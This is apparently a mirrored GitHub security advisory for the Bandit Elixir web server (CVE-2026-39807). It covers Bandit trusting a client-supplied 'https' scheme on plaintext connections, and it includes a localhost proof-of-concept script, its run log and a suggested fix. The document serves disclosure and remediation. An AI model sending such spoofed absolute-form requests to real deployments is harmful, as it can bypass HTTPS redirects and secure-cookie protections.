GHSA-375F-4R2H-F99J

Vulnerability from github – Published: 2026-05-07 03:47 – Updated: 2026-05-07 03:47
VLAI?
Summary
Bandit trusts client-supplied URI scheme on plaintext connections
Details

Summary

Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details

The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path: - HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1. - HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

  • Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
  • Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them.
  • Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
  • Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.

Script and Logs

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application — even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
        "Host: 127.0.0.1:#{@port}\r\n" <>
        "Connection: close\r\n" <>
        "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
    :ok = :gen_tcp.send(sock, request)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    :gen_tcp.close(sock)

    log("Server response:")
    IO.puts(response)

    cond do
      response =~ "conn.scheme=:https" ->
        log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.")
        log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")

      response =~ "conn.scheme=:http" ->
        log("Server forced scheme to :http — bug appears patched.")

      true ->
        log("Unexpected response shape.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

SchemeSpoof.run()
12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:47:29Z",
    "nvd_published_at": "2026-05-01T21:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal \u2014 `Plug.SSL`\u0027s \"already secure, don\u0027t redirect\" branch, `secure: true` cookie flagging, audit logging, CSRF/SameSite gating \u2014 is silently misled into treating an attacker\u0027s plaintext connection as encrypted.\n\nThe vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28\n\n### Details\nThe bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target\u0027s scheme and the transport\u0027s `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -\u003e scheme` \u2014 i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely.\n\nTwo attacker-controlled inputs reach this code path:\n- HTTP/1.1 absolute-form request targets (RFC 9112 \u00a73.2.2), e.g. `GET https://victim/path HTTP/1.1`.\n- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.\n\nNeither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: \"https\"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.\n\n**Suggested fix:** when `secure?` is `true`, force the scheme to `\"https\"`; when `false`, force it to `\"http\"` \u2014 or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport\u0027s actual security state. Do not trust the client-supplied scheme.\n\n### PoC\nA self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:\n\n```\nGET https://127.0.0.1:4321/ HTTP/1.1\nHost: 127.0.0.1:4321\nConnection: close\n```\n\nA correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.\n\n### Impact\nTransport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:\n\n- `Plug.SSL` skipping its HTTP\u2192HTTPS redirect because the request \"already looks secure\", letting plaintext requests bypass the redirect entirely.\n- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.\n- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.\n- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.\n\nThe vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.\n\n### Script and Logs\n\n```elixir\n# Bandit reflects the client-supplied scheme into conn.scheme.\n#\n# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme\n# appears on the request target, ignoring the `secure?` flag that records\n# the actual transport state. HTTP/1.1 absolute-form request targets\n# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both\n# attacker-controlled strings that flow into this function. Over a\n# plaintext connection, a client can claim `https` and Bandit hands a\n# `%Plug.Conn{scheme: :https}` to the application \u2014 even though no TLS\n# was negotiated.\n#\n# Downstream Plug consumers that branch on `conn.scheme` are misled:\n# Plug.SSL\u0027s \"already secure, don\u0027t redirect\" path, `secure: true` cookie\n# flagging, audit logs, CSRF/SameSite gating, etc.\n#\n# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one\n# HTTP/1.1 absolute-form request with scheme `https://`, and prints the\n# `conn.scheme` the application observes. A fixed server should report\n# `:http` (or reject the request); the buggy server reports `:https`.\n#\n# Run: elixir scripts/bandit/http1_scheme_spoofing.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule SchemeApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    body = \"This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\\n\"\n    Plug.Conn.send_resp(conn, 200, body)\n  end\nend\n\ndefmodule SchemeSpoof do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    # Absolute-form request target with scheme \"https\" over a plaintext\n    # TCP connection. RFC 9112 \u00a73.2.2 allows absolute-form on any request;\n    # nothing about it implies the connection is TLS.\n    request =\n      \"GET https://127.0.0.1:#{@port}/ HTTP/1.1\\r\\n\" \u003c\u003e\n        \"Host: 127.0.0.1:#{@port}\\r\\n\" \u003c\u003e\n        \"Connection: close\\r\\n\" \u003c\u003e\n        \"\\r\\n\"\n\n    log(\"Sending plaintext HTTP/1.1 request with absolute-form target `https://\u2026/`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    :gen_tcp.close(sock)\n\n    log(\"Server response:\")\n    IO.puts(response)\n\n    cond do\n      response =~ \"conn.scheme=:https\" -\u003e\n        log(\"VULNERABLE \u2014 application sees conn.scheme = :https on a plaintext socket.\")\n        log(\"Plug.SSL\u0027s `already-secure` branch, `secure: true` cookies, etc. would all trust this.\")\n\n      response =~ \"conn.scheme=:http\" -\u003e\n        log(\"Server forced scheme to :http \u2014 bug appears patched.\")\n\n      true -\u003e\n        log(\"Unexpected response shape.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nSchemeSpoof.run()\n```\n\n```logs\n12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://\u2026/`.\n[10:53:25.316] Server response:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 10:53:25 GMT\ncontent-length: 47\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nThis is what the Plug sees: conn.scheme=:https\n\n[10:53:25.316] VULNERABLE \u2014 application sees conn.scheme = :https on a plaintext socket.\n[10:53:25.316] Plug.SSL\u0027s `already-secure` branch, `secure: true` cookies, etc. would all trust this.\n```",
  "id": "GHSA-375f-4r2h-f99j",
  "modified": "2026-05-07T03:47:29Z",
  "published": "2026-05-07T03:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/45feea20dea8af7ffd7245271107b695c040e667"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39807.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39807"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit trusts client-supplied URI scheme on plaintext connections"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…